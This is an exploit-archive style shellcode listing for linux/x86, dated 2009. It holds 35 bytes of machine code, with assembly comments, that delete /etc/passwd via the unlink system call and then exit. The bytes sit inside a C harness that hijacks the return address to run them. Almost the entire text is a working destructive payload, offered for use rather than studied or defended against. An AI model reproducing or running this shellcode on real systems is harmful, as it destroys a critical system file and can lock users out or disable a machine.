|
# Title: linux/x86 unlink(/etc/passwd) & exit() 35 bytes # Date: 2009-12-24 # Author: sandman, n4mdn4s [4T] gmail [D0T] com # Tested on: linux/Fedora 12 # Code :
/* unlink_passwd.c Platform: linux/x86 Size: 35 bytes Author: $andman */
#include <string.h> #include <stdio.h> char shell[] = "\xeb\x11" //jmp 8048073 "\x5e" //pop %esi "\x31\xc0" //xor %eax,%eax "\x31\xc9" //xor %ecx,%ecx "\x31\xd2" //xor %edx,%edx "\xb0\x0a" //mov $0xa,%al "\x89\xf3" //mov %esi,%ebx "\xcd\x80" //int $0x80 "\xb0\x01" //mov $0x1,%al "\xcd\x80" //int $0x80 "\xe8\xea\xff\xff\xff" //call 8048062 "\x2f" //das "\x65" //gs "\x74\x63" //je 80480df "\x2f" //das "\x70\x61" //jo 80480e0 "\x73\x73" //jae 80480f4 "\x77\x64"; //ja 80480e7 int main() { printf("Shellcode Length: %d\n",strlen(shell)); int *ret; ret = (int *)&ret + 2; (*ret) = (int)shell; }
//#$
|